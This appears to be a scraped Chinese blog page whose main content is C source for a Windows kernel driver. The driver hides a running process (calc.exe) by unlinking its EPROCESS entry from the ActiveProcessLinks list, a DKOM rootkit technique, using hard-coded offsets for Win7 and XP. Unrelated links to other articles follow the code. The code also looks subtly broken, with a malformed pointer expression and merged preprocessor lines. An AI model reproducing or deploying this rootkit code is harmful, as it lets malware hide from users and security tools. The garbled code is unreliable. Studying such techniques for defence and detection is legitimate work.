#ifndef CXX_HIDEPROCESS_H
# include "HideProcess.h"
#endif #ifdef _WIN64
#define ActiveProcessLinksOffset_EPROCESS 0x188
#define ImageFileNameOffset_EPROCESS 0x2e0
#else
#define ActiveProcessLinksOffset_EPROCESS 0x088
#define ImageFileNameOffset_EPROCESS 0x174
#endif NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
{ //卸载当前驱动例程
DriverObject->DriverUnload = UnloadDriver;
HideProcess("calc.exe");
return STATUS_SUCCESS;
} VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
{ } VOID HideProcess(char* szProcessName)
{ PLIST_ENTRY ListEntry = NULL;
PEPROCESS EProcess = NULL;
char* szName = NULL;
PEPROCESS TravelEProcess = NULL;
PEPROCESS BadEProcess = NULL;
EProcess = IoGetCurrentProcess(); // System.exe if (szProcessName==NULL)
{
return;
}
if (EProcess==NULL)
{
return;
}
TravelEProcess = EProcess; BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+)))-0x188); do
{ if (TravelEProcess!=BadEProcess)
{
szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS); //Next
DbgPrint("%s\r\n",szName); if (strstr(szName,szProcessName)!=NULL)
{
RemoveEntryList(ListEntry); // break;
}
} TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
}while (TravelEProcess!=EProcess);
}

代码

使用断链操作隐藏进程

win7:

0x188 处 _LIST_ENTRY  一个16位的结构体

0x2e0处存储进程名称

winxp同理

HideProcess的更多相关文章

  1. 【windows核心编程】HideProcess

    A Basic Windows DKOM Rootkit Pt 1 https://www.landhb.me/posts/v9eRa/a-basic-windows-dkom-rootkit-pt- ...

  2. 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...

  3. zzzz

    using System; using System.Collections.Generic; using System.Diagnostics; using System.Management; u ...

  4. WCF全双工数据传输

    项目结构: 客户端: using System; using System.Collections.Generic; using System.Linq; using System.Text; usi ...

  5. ----------- Rootkit 核心技术之绕过 IopParseDevice() 调用源检测逻辑 ---------------

    ---------------------------------------------------------------- 在上一篇文章中,我们已经看到 IopParseDevice() 如何对 ...

  6. Driver 01 进程隐藏

    大二时候的代码以及笔记,当时暂时记录在QQ上在,现在发出来分享一下. 为了写驱动装一大堆的软件插件啥的,还常常失败. 这里就顺带总结下SDK下载和WinDbg symbol路径设置正确WinDbg却总 ...

  7. ring0 进程隐藏实现

    最近在学习内核编程,记录一下最近的学习笔记. 原理:将当前进程从eprocess结构的链表中删除 无法被! process 0 0 看见 #include "HideProcess.h&qu ...

  8. Win64 驱动内核编程-21.DKOM隐藏和保护进程

    DKOM隐藏和保护进程 主要就是操作链表,以及修改节点内容. DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 ...

随机推荐

  1. Build Up Your Own Lightweight Workspace

    写一段简单的批处理(.bat)放在自己建的workspace下. @set path=C:/Program Files/Java/jdk1.8.0_101/bin;%PATH%; //jdk的路径 @ ...

  2. Python学习(13)函数

    目录 Python 函数 函数调用 匿名函数 return语句 变量作用域 Python 函数 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段. 函数能提高应用的模块性,和代码的重复 ...

  3. (八)shell中的循环结构

    1.for循环(1)要求:能看懂.能改即可.不要求能够完全不参考写出来.因为毕竟嵌入式并不需要完全重新手写shell,系统管理员(服务器运维人员,应用层系统级管理开发的才需要完全掌握shell) 这里 ...

  4. Echarts柱形图颜色设置

    ECharts图为每个数据项配置颜色 (2014-11-12 15:52:53) 转载▼ 标签: 时尚 分类: 开发学习 其实给每个数据项配置很简单 只需要在series里面给data数组的每个元素设 ...

  5. 搭建一个简单的Struts2框架

    1  创建一个web项目. 2 导入必要的JAR文件. 放在WEB-INF下lib包里. 3 添加web.xml配置,添加启动配置. <?xml version="1.0" ...

  6. Java 默认/缺省 server 还是 client 模式

    不多说,复制官方文档,适用于 Java 5 6 7 Architecture OS Default client VM if server-class, server VM; otherwise, c ...

  7. 转!!!Mysql无法创建外键的原因

    在Mysql中创建外键时,经常会遇到问题而失败,这是因为Mysql中还有很多细节需要我们去留意,我自己总结并查阅资料后列出了以下几种常见原因. 1.  两个字段的类型或者大小不严格匹配.例如,如果一个 ...

  8. js获取时间格式化

    http://www.cnblogs.com/zhangpengshou/archive/2012/07/19/2599053.html

  9. Jni碰到的一个异常

    Java与C++都有String对象,而c没有,只有char类型,所以在向C传入String类型的时候,如何处理需要注意一点 jstring Java_com_skymaster_hs_test4_M ...

  10. Weka 3: Data Mining Software in Java

    官方网站: Weka 3: Data Mining Software in Java 相关使用方法博客 WEKA使用教程(经典教程转载) (实例数据:bank-data.csv) Weka初步一.二. ...